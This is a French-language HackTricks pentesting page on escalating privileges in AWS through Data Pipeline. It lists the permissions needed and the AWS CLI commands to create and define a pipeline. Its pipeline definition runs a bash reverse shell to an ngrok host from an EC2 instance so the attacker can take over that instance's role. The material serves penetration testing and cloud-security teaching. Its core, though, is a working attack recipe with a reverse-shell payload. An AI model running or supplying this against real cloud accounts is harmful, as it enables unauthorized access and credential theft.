AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Pour plus d'informations sur datapipeline, consultez :

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Les utilisateurs avec ces permissions peuvent élever leurs privilèges en créant un Data Pipeline pour exécuter des commandes arbitraires en utilisant les permissions du rôle assigné :

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Après la création du pipeline, l'attaquant met à jour sa définition pour dicter des actions spécifiques ou des créations de ressources :

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Notez que le rôle dans les lignes 14, 15 et 27 doit être un rôle assumable par datapipeline.amazonaws.com et le rôle dans la ligne 28 doit être un rôle assumable par ec2.amazonaws.com avec un profil d'instance EC2.

De plus, l'instance EC2 n'aura accès qu'au rôle assumable par l'instance EC2 (vous ne pouvez donc voler que celui-là).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Le fichier de définition de pipeline, conçu par l'attaquant, inclut des directives pour exécuter des commandes ou créer des ressources via l'API AWS, tirant parti des autorisations de rôle du Data Pipeline pour potentiellement obtenir des privilèges supplémentaires.

Impact potentiel : Privesc direct vers le rôle de service ec2 spécifié.

Références

Soutenir HackTricks

Last updated